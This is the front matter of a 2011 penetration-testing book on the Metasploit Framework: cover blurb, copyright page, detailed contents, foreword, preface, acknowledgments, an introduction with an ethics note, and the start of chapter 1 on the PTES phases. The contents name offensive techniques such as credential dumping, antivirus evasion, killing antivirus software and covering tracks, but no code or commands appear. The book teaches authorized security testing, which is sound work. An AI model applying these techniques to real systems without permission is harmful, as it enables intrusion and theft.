Metasploit The Penetration Ers Guide
User Manual: Pdf
Open the PDF directly: View PDF .
Page Count: 332 [warning: Documents this large are best viewed by clicking the View PDF Link!]
- Foreword
- Preface
- Acknowledgments
- Introduction
- 1: The Absolute Basics of Penetration Testing
- 2: Metasploit Basics
- 3: Intelligence Gathering
- 4: Vulnerability Scanning
- 5: The Joy of Exploitation
- 6: Meterpreter
- Compromising a Windows XP Virtual Machine
- Dumping Usernames and Passwords
- Pass the Hash
- Privilege Escalation
- Token Impersonation
- Using ps
- Pivoting onto Other Systems
- Using Meterpreter Scripts
- Leveraging Post Exploitation Modules
- Upgrading Your Command Shell to Meterpreter
- Manipulating Windows APIs with the Railgun Add-On
- Wrapping Up
- 7: Avoiding Detection
- 8: Exploitation Using Client-Side Attacks
- 9: Metasploit Auxiliary Modules
- 10: The Social-Engineer Toolkit
- 11: Fast-Track
- 12: Karmetasploit
- 13: Building Your Own Module
- 14: Creating Your Own Exploits
- 15: Porting Exploits to the Metasploit Framework
- 16: Meterpreter Scripting
- 17: Simulated Penetration Test
- A: Configuring Your Target Machines
- B: Cheat Sheet
- Index

The Metasploit Framework makes discovering,
exploiting, and sharing vulnerabilities quick and
relatively painless. But while Metasploit is used by
security professionals everywhere, the tool can be
hard to grasp for first-time users. Metasploit: The
Penetration Tester’s Guide fills this gap by teaching you
how to harness the Framework and interact with the
vibrant community of Metasploit contributors.
Once you’ve built your foundation for penetration
testing, you’ll learn the Framework’s conventions,
interfaces, and module system as you launch simulated
attacks. You’ll move on to advanced penetration testing
techniques, including network reconnaissance and
enumeration, client-side attacks, wireless attacks, and
targeted social-engineering attacks.
Learn how to:
Find and exploit unmaintained, misconfigured, and
unpatched systems
Perform reconnaissance and find valuable
information about your target
Bypass antivirus technologies and circumvent
security controls
Integrate Nmap, NeXpose, and Nessus with
Metasploit to automate discovery
Use the Meterpreter shell to launch further
attacks from inside the network
Harness stand-alone Metasploit utilities, third-
party tools, and plug-ins
Learn how to write your own Meterpreter post-
exploitation modules and scripts
You’ll even touch on exploit discovery for zero-day
research, write a fuzzer, port existing exploits into the
Framework, and learn how to cover your tracks. Whether
your goal is to secure your own networks or to put
someone else’s to the test, Metasploit: The Penetration
Tester’s Guide will take you there and beyond.
“The best guide to the
Metasploit Framework.” — HD Moore,
Founder of the Metasploit Project
$49.95 ($57.95 CDN) Shelve In: COMPUTERS/INTERNET/SECURITY
THE FINEST IN GEEK ENTERTAINMENT™
www.nostarch.com
David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni
Foreword by HD Moore
Kennedy
O’Gorman
Kearns
Aharoni
Metasploit
Metasploit
The Penetration Tester’s Guide
The Penetration Tester’s Guide
“I LAY FLAT.” This book uses RepKover — a durable binding that won’t snap shut.

METASPLOIT

METASPLOIT
The Penetration
Tester’s Guide
by David Kennedy,
Jim O’Gorman, Devon Kearns,
and Mati Aharoni
San Francisco
METASPLOIT. Copyright © 2011 by David Kennedy, Jim O'Gorman, Devon Kearns, and Mati Aharoni
All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or
mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior
written permission of the copyright owner and the publisher.
15 14 13 12 11 1 2 3 4 5 6 7 8 9
ISBN-10: 1-59327-288-X
ISBN-13: 978-1-59327-288-3
Publisher: William Pollock
Production Editor: Alison Law
Cover Illustration: Hugh D’Andrade
Interior Design: Octopod Studios
Developmental Editors: William Pollock and Tyler Ortman
Technical Reviewer: Scott White
Copyeditor: Lisa Theobald
Compositors: Susan Glinert Stevens
Proofreader: Ward Webber
Indexer: BIM Indexing & Proofreading Services
For information on book distributors or translations, please contact No Starch Press, Inc. directly:
No Starch Press, Inc.
38 Ringold Street, San Francisco, CA 94103
phone: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com
Library of Congress Cataloging-in-Publication Data
A catalog record of this book is available from the Library of Congress.
No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and
company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark
symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the
benefit of the trademark owner, with no intention of infringement of the trademark.
The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been
taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any
person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the
information contained in it.

BRIEF CONTENTS
Foreword by HD Moore................................................................................................ xiii
Preface .......................................................................................................................xvii
Acknowledgments .........................................................................................................xix
Introduction .................................................................................................................xxi
Chapter 1: The Absolute Basics of Penetration Testing .........................................................1
Chapter 2: Metasploit Basics ............................................................................................7
Chapter 3: Intelligence Gathering ...................................................................................15
Chapter 4: Vulnerability Scanning...................................................................................35
Chapter 5: The Joy of Exploitation...................................................................................57
Chapter 6: Meterpreter ..................................................................................................75
Chapter 7: Avoiding Detection .......................................................................................99
Chapter 8: Exploitation Using Client-Side Attacks............................................................109
Chapter 9: Metasploit Auxiliary Modules .......................................................................123
Chapter 10: The Social-Engineer Toolkit.........................................................................135
Chapter 11: Fast-Track.................................................................................................163
Chapter 12: Karmetasploit ...........................................................................................177
Chapter 13: Building Your Own Module........................................................................185
vi Brief Contents
Chapter 14: Creating Your Own Exploits.......................................................................197
Chapter 15: Porting Exploits to the Metasploit Framework................................................215
Chapter 16: Meterpreter Scripting.................................................................................235
Chapter 17: Simulated Penetration Test..........................................................................251
Appendix A: Configuring Your Target Machines .............................................................267
Appendix B: Cheat Sheet .............................................................................................275
Index .........................................................................................................................285
CONTENTS IN DETAIL
FOREWORD by HD Moore xiii
PREFACE xvii
ACKNOWLEDGMENTS xix
Special Thanks ........................................................................................................ xx
INTRODUCTION xxi
Why Do A Penetration Test? ................................................................................... xxii
Why Metasploit? .................................................................................................. xxii
A Brief History of Metasploit ................................................................................... xxii
About this Book .....................................................................................................xxiii
What’s in the Book? ..............................................................................................xxiii
A Note on Ethics ..................................................................................................xxiv
1
THE ABSOLUTE BASICS OF PENETRATION TESTING 1
The Phases of the PTES .............................................................................................. 2
Pre-engagement Interactions ......................................................................... 2
Intelligence Gathering .................................................................................. 2
Threat Modeling ......................................................................................... 2
Vulnerability Analysis .................................................................................. 3
Exploitation ................................................................................................ 3
Post Exploitation .......................................................................................... 3
Reporting ................................................................................................... 4
Types of Penetration Tests .......................................................................................... 4
Overt Penetration Testing ............................................................................. 5
Covert Penetration Testing ............................................................................ 5
Vulnerability Scanners .............................................................................................. 5
Pulling It All Together ................................................................................................ 6
2
METASPLOIT BASICS 7
Terminology ............................................................................................................ 7
Exploit ....................................................................................................... 8
Payload ..................................................................................................... 8
Shellcode ................................................................................................... 8
Module ...................................................................................................... 8
Listener ...................................................................................................... 8
Metasploit Interfaces ................................................................................................. 8
MSFconsole ................................................................................................ 9
MSFcli ....................................................................................................... 9
Armitage .................................................................................................. 11
viii Contents in Detail
Metasploit Utilities .................................................................................................. 12
MSFpayload ............................................................................................. 12
MSFencode .............................................................................................. 13
Nasm Shell ............................................................................................... 13
Metasploit Express and Metasploit Pro ...................................................................... 14
Wrapping Up ........................................................................................................ 14
3
INTELLIGENCE GATHERING 15
Passive Information Gathering ................................................................................. 16
whois Lookups .......................................................................................... 16
Netcraft ................................................................................................... 17
NSLookup ................................................................................................ 18
Active Information Gathering ................................................................................... 18
Port Scanning with Nmap .......................................................................... 18
Working with Databases in Metasploit ........................................................ 20
Port Scanning with Metasploit ..................................................................... 25
Targeted Scanning ................................................................................................. 26
Server Message Block Scanning .................................................................. 26
Hunting for Poorly Configured Microsoft SQL Servers .................................... 27
SSH Server Scanning ................................................................................. 28
FTP Scanning ............................................................................................ 29
Simple Network Management Protocol Sweeping ......................................... 30
Writing a Custom Scanner ...................................................................................... 31
Looking Ahead ...................................................................................................... 33
4
VULNERABILITY SCANNING 35
The Basic Vulnerability Scan .................................................................................... 36
Scanning with NeXpose .......................................................................................... 37
Configuration ........................................................................................... 37
Importing Your Report into the Metasploit Framework .................................... 42
Running NeXpose Within MSFconsole ......................................................... 43
Scanning with Nessus ............................................................................................. 44
Nessus Configuration ................................................................................ 44
Creating a Nessus Scan Policy ................................................................... 45
Running a Nessus Scan .............................................................................. 47
Nessus Reports ......................................................................................... 47
Importing Results into the Metasploit Framework ............................................ 48
Scanning with Nessus from Within Metasploit .............................................. 49
Specialty Vulnerability Scanners ............................................................................... 51
Validating SMB Logins ............................................................................... 51
Scanning for Open VNC Authentication ....................................................... 52
Scanning for Open X11 Servers .................................................................. 54
Using Scan Results for Autopwning ........................................................................... 56
5
THE JOY OF EXPLOITATION 57
Basic Exploitation ................................................................................................... 58
msf> show exploits .................................................................................... 58
msf> show auxiliary .................................................................................. 58
Contents in Detail ix
msf> show options .................................................................................... 58
msf> show payloads .................................................................................. 60
msf> show targets ..................................................................................... 62
info ......................................................................................................... 63
set and unset ............................................................................................ 63
setg and unsetg ......................................................................................... 64
save ........................................................................................................ 64
Exploiting Your First Machine .................................................................................. 64
Exploiting an Ubuntu Machine ................................................................................. 68
All-Ports Payloads: Brute Forcing Ports ....................................................................... 71
Resource Files ........................................................................................................ 72
Wrapping Up ........................................................................................................ 73
6
METERPRETER 75
Compromising a Windows XP Virtual Machine .......................................................... 76
Scanning for Ports with Nmap .................................................................... 76
Attacking MS SQL ..................................................................................... 76
Brute Forcing MS SQL Server ...................................................................... 78
The xp_cmdshell ........................................................................................ 79
Basic Meterpreter Commands ..................................................................... 80
Capturing Keystrokes ................................................................................. 81
Dumping Usernames and Passwords ........................................................................ 82
Extracting the Password Hashes .................................................................. 82
Dumping the Password Hash ...................................................................... 83
Pass the Hash ........................................................................................................ 84
Privilege Escalation ................................................................................................ 85
Token Impersonation ............................................................................................... 87
Using ps ............................................................................................................... 87
Pivoting onto Other Systems .................................................................................... 89
Using Meterpreter Scripts ........................................................................................ 92
Migrating a Process ................................................................................... 92
Killing Antivirus Software ........................................................................... 93
Obtaining System Password Hashes ............................................................ 93
Viewing All Traffic on a Target Machine ...................................................... 93
Scraping a System .................................................................................... 93
Using Persistence ...................................................................................... 94
Leveraging Post Exploitation Modules ....................................................................... 95
Upgrading Your Command Shell to Meterpreter ......................................................... 95
Manipulating Windows APIs with the Railgun Add-On ................................................ 97
Wrapping Up ........................................................................................................ 97
7
AVOIDING DETECTION 99
Creating Stand-Alone Binaries with MSFpayload ...................................................... 100
Evading Antivirus Detection ................................................................................... 101
Encoding with MSFencode ....................................................................... 102
Multi-encoding ........................................................................................ 103
Custom Executable Templates ................................................................................ 105
Launching a Payload Stealthily................................................................................ 106
xContents in Detail
Packers ............................................................................................................... 107
A Final Note on Antivirus Software Evasion ............................................................. 108
8
EXPLOITATION USING CLIENT-SIDE ATTACKS 109
Browser-Based Exploits ......................................................................................... 110
How Browser-Based Exploits Work ............................................................ 111
Looking at NOPs ..................................................................................... 112
Using Immunity Debugger to Decipher NOP Shellcode ............................................. 112
Exploring the Internet Explorer Aurora Exploit .......................................................... 116
File Format Exploits .............................................................................................. 119
Sending the Payload ............................................................................................ 120
Wrapping Up ...................................................................................................... 121
9
METASPLOIT AUXILIARY MODULES 123
Auxiliary Modules in Use ...................................................................................... 126
Anatomy of an Auxiliary Module ............................................................................ 128
Going Forward .................................................................................................... 133
10
THE SOCIAL-ENGINEER TOOLKIT 135
Configuring the Social-Engineer Toolkit ................................................................... 136
Spear-Phishing Attack Vector ................................................................................. 137
Web Attack Vectors .............................................................................................. 142
Java Applet ............................................................................................ 142
Client-Side Web Exploits .......................................................................... 146
Username and Password Harvesting .......................................................... 148
Tabnabbing ............................................................................................ 150
Man-Left-in-the-Middle .............................................................................. 150
Web Jacking .......................................................................................... 151
Putting It All Together with a Multipronged Attack ........................................ 153
Infectious Media Generator ................................................................................... 157
Teensy USB HID Attack Vector ............................................................................... 157
Additional SET Features ........................................................................................ 160
Looking Ahead .................................................................................................... 161
11
FAST-TRACK 163
Microsoft SQL Injection ......................................................................................... 164
SQL Injector—Query String Attack ............................................................. 165
SQL Injector—POST Parameter Attack ........................................................ 166
Manual Injection ..................................................................................... 167
MSSQL Bruter ......................................................................................... 168
SQLPwnage ............................................................................................ 172
Binary-to-Hex Generator ........................................................................................ 174
Mass Client-Side Attack ........................................................................................ 175
A Few Words About Automation ............................................................................ 176
Contents in Detail xi
12
KARMETASPLOIT 177
Configuration ...................................................................................................... 178
Launching the Attack ............................................................................................. 179
Credential Harvesting ........................................................................................... 181
Getting a Shell ..................................................................................................... 182
Wrapping Up ...................................................................................................... 184
13
BUILDING YOUR OWN MODULE 185
Getting Command Execution on Microsoft SQL ........................................................ 186
Exploring an Existing Metasploit Module ................................................................. 187
Creating a New Module ....................................................................................... 189
PowerShell ............................................................................................. 189
Running the Shell Exploit .......................................................................... 190
Creating powershell_upload_exec ............................................................. 192
Conversion from Hex to Binary ................................................................. 192
Counters ................................................................................................ 194
Running the Exploit .................................................................................. 195
The Power of Code Reuse ..................................................................................... 196
14
CREATING YOUR OWN EXPLOITS 197
The Art of Fuzzing ................................................................................................ 198
Controlling the Structured Exception Handler ........................................................... 201
Hopping Around SEH Restrictions ........................................................................... 204
Getting a Return Address ...................................................................................... 206
Bad Characters and Remote Code Execution ........................................................... 210
Wrapping Up ...................................................................................................... 213
15
PORTING EXPLOITS TO THE METASPLOIT FRAMEWORK 215
Assembly Language Basics .................................................................................... 216
EIP and ESP Registers ............................................................................... 216
The JMP Instruction Set ............................................................................. 216
NOPs and NOP Slides ............................................................................ 216
Porting a Buffer Overflow ...................................................................................... 216
Stripping the Existing Exploit ..................................................................... 218
Configuring the Exploit Definition .............................................................. 219
Testing Our Base Exploit .......................................................................... 220
Implementing Features of the Framework .................................................... 221
Adding Randomization ............................................................................ 222
Removing the NOP Slide .......................................................................... 223
Removing the Dummy Shellcode ................................................................ 223
Our Completed Module ........................................................................... 224
SEH Overwrite Exploit .......................................................................................... 226
Wrapping Up ...................................................................................................... 233
xii Contents in Detail
16
METERPRETER SCRIPTING 235
Meterpreter Scripting Basics .................................................................................. 235
Meterpreter API .................................................................................................... 241
Printing Output ........................................................................................ 241
Base API Calls ........................................................................................ 242
Meterpreter Mixins .................................................................................. 242
Rules for Writing Meterpreter Scripts ...................................................................... 244
Creating Your Own Meterpreter Script .................................................................... 244
Wrapping Up ...................................................................................................... 250
17
SIMULATED PENETRATION TEST 251
Pre-engagement Interactions .................................................................................. 252
Intelligence Gathering ........................................................................................... 252
Threat Modeling .................................................................................................. 253
Exploitation ......................................................................................................... 255
Customizing MSFconsole ...................................................................................... 255
Post Exploitation ................................................................................................... 257
Scanning the Metasploitable System .......................................................... 258
Identifying Vulnerable Services ................................................................. 259
Attacking Apache Tomcat ..................................................................................... 260
Attacking Obscure Services ................................................................................... 262
Covering Your Tracks ........................................................................................... 264
Wrapping Up ...................................................................................................... 266
A
CONFIGURING YOUR TARGET MACHINES 267
Installing and Setting Up the System ....................................................................... 267
Booting Up the Linux Virtual Machines .................................................................... 268
Setting Up a Vulnerable Windows XP Installation ..................................................... 269
Configuring Your Web Server on Windows XP ........................................... 269
Building a SQL Server .............................................................................. 269
Creating a Vulnerable Web Application .................................................... 272
Updating Back|Track .............................................................................. 273
B
CHEAT SHEET 275
MSFconsole Commands ........................................................................................ 275
Meterpreter Commands ........................................................................................ 277
MSFpayload Commands ....................................................................................... 280
MSFencode Commands ........................................................................................ 280
MSFcli Commands ............................................................................................... 281
MSF, Ninja, Fu .................................................................................................... 281
MSFvenom .......................................................................................................... 281
Meterpreter Post Exploitation Commands ................................................................ 282
INDEX 285
FOREWORD
Information technology is a complex field, littered
with the half-dead technology of the past and an
ever-increasing menagerie of new systems, software,
and protocols. Securing today’s enterprise networks
involves more than simply patch management, fire-
walls, and user education; it requires frequent real-
world validation of what works and what fails. This is
what penetration testing is all about.
Penetration testing is a uniquely challenging job. You are paid to think
like a criminal, to use guerilla tactics to your advantage, and to find the weak-
est links in a highly intricate net of defenses. The things you find can be both
surprising and disturbing; penetration tests have uncovered everything from
rogue pornography sites to large-scale fraud and criminal activity.
Penetration testing is about ignoring an organization’s perception of
its security and probing its systems for weaknesses. The data obtained from a
successful penetration test often uncovers issues that no architecture review
xiv Foreword
or vulnerability assessment would be able to identify. Typical findings include
shared passwords, cross-connected networks, and troves of sensitive data sit-
ting in the clear. The problems created by sloppy system administration and
rushed implementations often pose significant threats to an organization,
while the solutions languish under a dozen items on an administrator’s to-do
list. Penetration testing highlights these misplaced priorities and identifies
what an organization needs to do to defend itself from a real intrusion.
Penetration testers handle a company’s most sensitive resources; they
gain access to areas that can have dire real-world consequences if the wrong
action is taken. A single misplaced packet can bring a factory floor to a halt,
with a cost measured in millions of dollars per hour. Failure to notify the
appropriate personnel can result in an uncomfortable and embarrassing con-
versation with the local police. Medical systems are one area that even the
most experienced security professionals may hesitate to test; nobody wants
to be responsible for mixing up a patient’s blood type in an OpenVMS main-
frame or corrupting the memory on an X-ray machine running Windows XP.
The most critical systems are often the most exposed, and few system admin-
istrators want to risk an outage by bringing down a database server to apply a
security patch.
Balancing the use of available attack paths and the risk of causing dam-
age is a skill that all penetration testers must hone. This process depends not
only on a technical knowledge of the tools and the techniques but also on a
strong understanding of how the organization operates and where the path
of least resistance may lie.
In this book, you will see penetration testing through the eyes of four
security professionals with widely divergent backgrounds. The authors include
folks with experience at the top of the corporate security structure all the way
down to the Wild West world of underground exploit development and vulner-
ability research. There are a number of books available on penetration test-
ing and security assessments, and there are many that focus entirely on tools.
This book, however, strives for a balance between the two, covering the fun-
damental tools and techniques while also explaining how they play into the
overall structure of a successful penetration testing process. Experienced
penetration testers will benefit from the discussion of the methodology,
which is based on the recently codified Penetration Test Execution Standard.
Readers who are new to the field will be presented with a wealth of informa-
tion not only about how to get started but also why those steps matter and
what they mean in the bigger picture.
This book focuses on the Metasploit Framework. This open source
platform provides a consistent, reliable library of constantly updated exploits
and offers a complete development environment for building new tools and
automating every aspect of a penetration test. Metasploit Express and Meta-
sploit Pro, the commercial siblings of the Framework, are also represented in
this book. These products provide a different perspective on how to conduct
and automate large-scale penetration tests.
Foreword xv
The Metasploit Framework is an infamously volatile project; the code
base is updated dozens of times every day by a core group of developers and
submissions from hundreds of community contributors. Writing a book about
the Framework is a masochistic endeavor; by the time that a given chapter
has been proofread, the content may already be out of date. The authors
took on the Herculean task of writing this book in such a way that the con-
tent will still be applicable by the time it reaches its readers.
The Metasploit team has been involved with this book to make sure that
changes to the code are accurately reflected and that the final result is as close
to zero-day coverage of the Metasploit Framework as is humanly possible. We
can state with full confidence that it is the best guide to the Metasploit Frame-
work available today, and it will likely remain so for a long time. We hope you
find this book valuable in your work and an excellent reference in your trials
ahead.
HD Moore
Founder, The Metasploit Project
PREFACE
The Metasploit Framework has long been one of the
tools most widely used by information security pro-
fessionals, but for a long time little documentation
existed aside from the source code itself or comments
on blogs. That situation changed significantly when
Offensive-Security developed its online course, Meta-
sploit Unleashed. Shortly after the course went live, No
Starch Press contacted us about the possibly of creat-
ing a book to expand on our work with Metasploit
Unleashed.
This book is designed to teach you the ins and outs of Metasploit and
how to use the Framework to its fullest. Our coverage is selective—we won’t
cover every single flag or exploit—but we give you the foundation you’ll need
to understand and use Metasploit now and in future versions.
xviii Preface
When we began writing this book, we had in mind a comment by HD
Moore, developer of the Metasploit Framework. In a conversation with HD
about the development of our Metasploit Unleashed course, one of us said
to him, “I hope the course comes out good.” To this offhand comment, HD
merely replied, “Then make sure it is good.” And that’s just what we’ve
attempted to do with this book.
As a group, we are experienced penetration testers who use Metasploit
daily to circumvent security controls, bypass protections, and attack systems
methodically. We wrote this book with the intention of helping our readers
become competent penetration testers. HD’s drive and focus on quality is
apparent within the Metasploit Framework, and we have tried to match those
characteristics in this book. We leave it up to you to judge how well we have
lived up to that standard.
ACKNOWLEDGMENTS
We would like to thank a number of people, begin-
ning with the folks whose hard work provides the
community with an invaluable tool. Special thanks to
the Metasploit Team: HD Moore, James Lee, David
D. Rude II, Tod Beardsley, Jonathan Cran, Stephen
Fewer, Joshua Drake, Mario Ceballos, Ramon Valle,
Patrick Webster, Efrain Torres, Alexandre Maloteaux, Wei Chen, Steve Tornio,
Nathan Keltner, Chris Gates, Carlos Perez, Matt Weeks, and Raphael Mudge.
Also an extra thanks to Carlos Perez for his assistance in writing portions of
the Meterpreter scripting chapter.
Many thanks to Scott White, technical reviewer for this book, for being
awesome.
Thanks to Offensive-Security for bringing us all together. The Offensive-
Security trademark phrase “Try Harder” alternately inspires and tortures us
(ryujin is evil).
xx Acknowledgments
We have many other members of the information security community
to thank, but there are too many to list and the odds of missing someone are
high. So thank you to our friends in the security community; hugs from all
of us.
A very special thanks to the whole crew at No Starch Press for their
immeasurable effort. Bill, Alison, Travis, and Tyler, it has been a pleasure
working with you and everyone else behind the scenes at No Starch Press!
Finally, a big thank you to our families. We are all married and half of
us have children. We spend far too long wearing down the plastic on our
keyboards and not enough time with them. To our families, thanks for your
understanding; we will make it up to you—as soon as we update this next
line of code, or find the source of this memory corruption, or finish this svn
update, or get this next fuzzer run setup, or . . .
Special Thanks
Dave (Twitter: @dave_rel1k): I dedicate my work on this book to my loving
wife Erin, who tolerated late nights of me hammering away at the keyboard.
To my three children who keep me young and old at the same time. To my
father, Jim; my mother, Janna; and my stepmother, Deb, for being there for
me and making me what I am today. Thanks to Jim, Dookie, and Muts for
their hard work on the book and for being great friends! To my good friends
at Offensive-Security; Chris “Logan” Hadnagy; my brother, Shawn Sullivan;
and my team at Diebold. To my good friend HD Moore, whose dedication to
the security industry is an inspiration to us all. To all my friends in life, and to
Scott Angelo for giving me an opportunity and believing in me. Lastly, to
God, without whom none of this would be possible.
Devon (@dookie2000ca): For my beautiful and tolerant wife, who not
only supports but encourages my mania. You are my inspiration and motiva-
tion; without you by my side in these pursuits, I would never get anywhere.
To my co-authors, thank you for having faith in a newcomer and welcoming
me as one of your own. Lastly, an especially big thank you to Mati for not
only getting this merry band together but for giving me a chance.
Muts (@backtracklinux): A special thanks to the co-authors of this book,
whose time and dedication to it is truly inspiring. I count Jim, Devon, and
Dave as great friends and colleagues in the security field.
Jim (@_Elwood_): Thanks to Matteo, Chris “Logan,” and the entire
Offensive-Security crew. Also a big thanks to Robert, Matt, Chris, and my
co-workers at StrikeForce. And to my wonderful wife Melissa: The book you
hold in your hands is proof that I was not just avoiding housework all the time.
And to Jake and Joe, please don’t tell Mom that I am just playing games with
you when I tell her I am working. You three are the Pack-a-Punch to my life.
And finally to my co-authors Mati, Devon, and Dave: Thanks for letting me
put my name on this book—I really was just avoiding housework.
INTRODUCTION
Imagine that sometime in the not-so-distant future an
attacker decides to attack a multinational company’s
digital assets, targeting hundreds of millions of dollars
worth of intellectual property buried behind millions
of dollars in infrastructure. Naturally, the attacker
begins by firing up the latest version of Metasploit.
After exploring the target’s perimeter, he finds a soft spot and begins a
methodical series of attacks, but even after he’s compromised nearly every
aspect of the network, the fun has only just begun. He maneuvers through
systems, identifying core, critical business components that keep the com-
pany running. With a single keystroke, he could help himself to millions of
company dollars and compromise all their sensitive data.
Congratulations on a job well done—you’ve shown true business impact,
and now it’s time to write the report. Oddly enough, today’s penetration
testers often find themselves in the role of a fictitious adversary like the one
described above, performing legal attacks at the request of companies that
need high levels of security. Welcome to the world of penetration testing and
the future of security.
xxii Introduction
Why Do a Penetration Test?
Companies invest millions of dollars in security programs to protect critical
infrastructures, identify chinks in the armor, and prevent serious data breaches.
A penetration test is one of the most effective ways to identify systemic weak-
nesses and deficiencies in these programs. By attempting to circumvent secu-
rity controls and bypass security mechanisms, a penetration tester is able to
identify ways in which a hacker might be able to compromise an organization’s
security and damage the organization as a whole.
As you read through this book, remember that you’re not necessarily
targeting one system or multiple systems. Your goal is to show, in a safe and
controlled manner, how an attacker might be able to cause serious harm to
an organization and impact its ability to, among other things, generate reve-
nue, maintain its reputation, and protect its customers.
Why Metasploit?
Metasploit isn’t just a tool; it’s an entire framework that provides the infra-
structure needed to automate mundane, routine, and complex tasks. This
allows you to concentrate on the unique or specialized aspects of penetration
testing and on identifying flaws within your information security program.
As you progress through the chapters in this book and establish a well-
rounded methodology, you will begin to see the many ways in which Meta-
sploit can be used in your penetration tests. Metasploit allows you to easily
build attack vectors to augment its exploits, payloads, encoders, and more
in order to create and execute more advanced attacks. At various points in
this book we explain several third-party tools—including some written by the
authors of this book—that build on the Metasploit Framework. Our goal is to
get you comfortable with the Framework, show you some advanced attacks,
and ensure that you can apply these techniques responsibly. We hope you
enjoy reading this book as much as we enjoyed creating it. Let the fun and
games begin.
A Brief History of Metasploit
Metasploit was originally developed and conceived by HD Moore while he
was employed by a security firm. When HD realized that he was spending
most of his time validating and sanitizing public exploit code, he began to
create a flexible and maintainable framework for the creation and develop-
ment of exploits. He released his first edition of the Perl-based Metasploit
in October 2003 with a total of 11 exploits.
With the help of Spoonm, HD released a total rewrite of the project,
Metasploit 2.0, in April 2004. This version included 19 exploits and over 27
payloads. Shortly after this release, Matt Miller (Skape) joined the Metasploit
development team, and as the project gained popularity, the Metasploit Frame-
work received heavy backing from the information security community and
quickly became a necessary tool for penetration testing and exploitation.
Introduction xxiii
Following a complete rewrite in the Ruby programming language,
the Metasploit team released Metasploit 3.0 in 2007. The migration of the
Framework from Perl to Ruby took 18 months and resulted in over 150,000
lines of new code. With the 3.0 release, Metasploit saw widespread adoption
in the security community and a big increase in user contributions.
In fall 2009, Metasploit was acquired by Rapid7, a leader in the
vulnerability-scanning field, which allowed HD to build a team to focus
solely on the development of the Metasploit Framework. Since the acquisi-
tion, updates have occurred more rapidly than anyone could have imagined.
Rapid7 released two commercial products based on the Metasploit Frame-
work: Metasploit Express and Metasploit Pro. Metasploit Express is a lighter
version of the Metasploit Framework with a GUI and additional functionality,
including reporting, among other useful features. Metasploit Pro is an expanded
version of Metasploit Express that touts collaboration and group penetration
testing and such features as a one-click virtual private network (VPN) tunnel
and much more.
About This Book
This book is designed to teach you everything from the fundamentals of
the Framework to advanced techniques in exploitation. Our goal is to pro-
vide a useful tutorial for the beginner and a reference for practitioners. How-
ever, we won’t always hold your hand. Programming knowledge is a definite
advantage in the penetration testing field, and many of the examples in this
book will use either the Ruby or Python programming language. Still, while
we suggest that you learn a language like Ruby or Python to aid in advanced
exploitation and customization of attacks, programming knowledge is not
required.
As you grow more comfortable with Metasploit, you will notice that the
Framework is frequently updated with new features, exploits, and attacks.
This book was developed with the knowledge that Metasploit is continually
changing and that no printed book is likely to be able to keep pace with this
rapid development. Therefore, we focus on the fundamentals, because once
you understand how Metasploit works you will be able to ramp up quickly
with updates to the Framework.
What’s in the Book?
How can this book help you to get started or take your skills to the next level?
Each chapter is designed to build on the previous one and to help you build
your skills as a penetration tester from the ground up.
zChapter 1, “The Absolute Basics of Penetration Testing,” establishes the
methodologies around penetration testing.
zChapter 2, “Metasploit Basics,” is your introduction to the various tools
within the Metasploit Framework.
zChapter 3, “Intelligence Gathering,” shows you ways to leverage Meta-
sploit in the reconnaissance phase of a penetration test.
xxiv Introduction
zChapter 4, “Vulnerability Scanning,” walks you through identifying vul-
nerabilities and leveraging vulnerability scanning technology.
zChapter 5, “The Joy of Exploitation,” throws you into exploitation.
zChapter 6, “Meterpreter,” walks you through the Swiss Army knife of
post exploitation: Meterpreter.
zChapter 7, “Avoiding Detection,” focuses on the underlying concepts of
antivirus evasion techniques.
zChapter 8, “Exploitation Using Client-Side Attacks,” covers client-side
exploitation and browser bugs.
zChapter 9, “Metasploit Auxiliary Modules,” walks you through auxiliary
modules.
zChapter 10, “The Social-Engineer Toolkit,” is your guide to leveraging
the Social-Engineer Toolkit in social-engineering attacks.
zChapter 11, “Fast-Track,” offers a complete run down on Fast-Track, an
automated penetration testing framework.
zChapter 12, “Karmetasploit,” shows you how to leverage Karmetasploit
for wireless attacks.
zChapter 13, “Building Your Own Modules,” teaches you how to build
your own exploitation module.
zChapter 14, “Creating Your Own Exploits,” covers fuzzing and creating
exploit modules out of buffer overflows.
zChapter 15, “Porting Exploits to the Metasploit Framework,” is an in-
depth look at how to port existing exploits into a Metasploit-based module.
zChapter 16, “Meterpreter Scripting,” shows you how to create your own
Meterpreter scripts.
zChapter 17, “Simulated Penetration Test,” pulls everything together as it
walks you through a simulated penetration test.
A Note on Ethics
Our goal in writing this book is to help you to improve your skills as a pene-
tration tester. As a penetration tester, you will be bypassing security measures;
that’s simply part of the job. When you do, keep the following in mind:
zDon’t be malicious.
zDon’t be stupid.
zDon’t attack targets without written permission.
zConsider the consequences of your actions.
zIf you do things illegally, you can be caught and put in jail!
Neither the authors of this book nor No Starch Press, its publisher,
condones or encourages the misuse of the penetration testing techniques
discussed herein. Our goal is to make you smarter, not to help you to get
into trouble, because we won’t be there to get you out.

THE ABSOLUTE BASICS OF
PENETRATION TESTING
Penetration testing is a way for you to simulate the
methods that an attacker might use to circumvent
security controls and gain access to an organization’s
systems. Penetration testing is more than running scan-
ners and automated tools and then writing a report.
And you won’t become an expert penetration tester
overnight; it takes years of practice and real-world
experience to become proficient.
Currently, there is a shift in the way people regard and define penetra-
tion testing within the security industry. The Penetration Testing Execution
Standard (PTES) is redefining the penetration test in ways that will affect
both new and experienced penetration testers, and it has been adopted by
several leading members of the security community. Its charter is to define
and raise awareness about what a true penetration test means by establishing
a baseline of fundamental principles required to conduct a penetration test.
If you’re new to penetration testing or unfamiliar with PTES, visit http://
www.pentest-standard.org/ to learn more about it.
2Chapter 1
The Phases of the PTES
PTES phases are designed to define a penetration test and assure the client
organization that a standardized level of effort will be expended in a pene-
tration test by anyone conducting this type of assessment. The standard is
divided into seven categories with different levels of effort required for each,
depending on the organization under attack.
Pre-engagement Interactions
Pre-engagement interactions typically occur when you discuss the scope and terms
of the penetration test with your client. It is critical during pre-engagement
that you convey the goals of the engagement. This stage also serves as your
